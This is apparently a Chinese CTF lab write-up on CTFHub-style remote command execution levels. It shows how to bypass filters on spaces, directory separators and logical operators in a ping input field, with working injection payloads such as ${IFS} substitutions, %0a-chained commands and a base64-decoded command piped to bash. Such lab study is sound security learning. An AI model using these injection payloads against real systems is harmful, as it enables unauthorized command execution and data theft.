WEB基础
七、RCE
8、过滤空格
-
该关卡是将输入命令中的空格全部置空
-
代码解读,这行代码使用了正则表达式来检查变量
$ip
是否包含空格字符。如果preg_match_all
函数返回false
,表示没有匹配到空格字符,那么$cmd
变量将设置为ping
命令并执行该命令。否则,如果$ip
中包含空格字符,它将不执行ping
命令,而是将匹配结果存储在$m
数组中,然后将$res
设置为$m
,这样在后续的代码中可以打印出$m
的内容。 -
代替空格的常用方法
${IFS}$9 {IFS} $IFS ${IFS} $IFS$1 //$1改成$加其他数字貌似都行 < <> {cat,flag.php} //用逗号实现了空格功能,需要用{}括起来 %20 (space) %09 (tab)
-
-
利用ls命令查看当前目录下的文件
-
访问flag文件,
cat flag_271461284514672.php
,访问不到其中的内容,代码过滤了命令中的空格,用其他方式代替空格读取
9、过滤目录分隔符
|| echo "Y2F0ICBmbGFnX2lzX2hlcmUvZmxhZ19pc19oZXJl" | base64 -d | bash
-
使用ls查看当前文件下的目录
-
查看改文件夹下面的文件,发现了flag文件
-
直接用 cat flag_is_here/flag_270142452219003.php发现无法查看文件,代码中删除了
/
目录分割符 -
利用
;
分别执行每个命令
10、过滤运算符
运算符过滤绕过的方式有%0a
、%0d
、%0D%0A
-
查看页面源码,发现过滤了逻辑
||
和&&
运算符 -
按照上一关的思路,可以利用分号来试试
经过测试发现是可行的,并且发现了flag文件
-
然后利用cat命令查看该文件,获得到ctfhub
11、综合过滤
-
检查页面上的代码,发现前几关过滤的在这一关都被过滤了
-
先查看目录
127.0.0.1%0als
-
查看文件夹中的内容
127.0.0.1%0als${IFS}fl$*ag_is_here
-
查看文件中的内容
127.0.0.1%0acd${IFS}fl$*ag_is_here%0aless${IFS}fl$*ag_209951930013946.php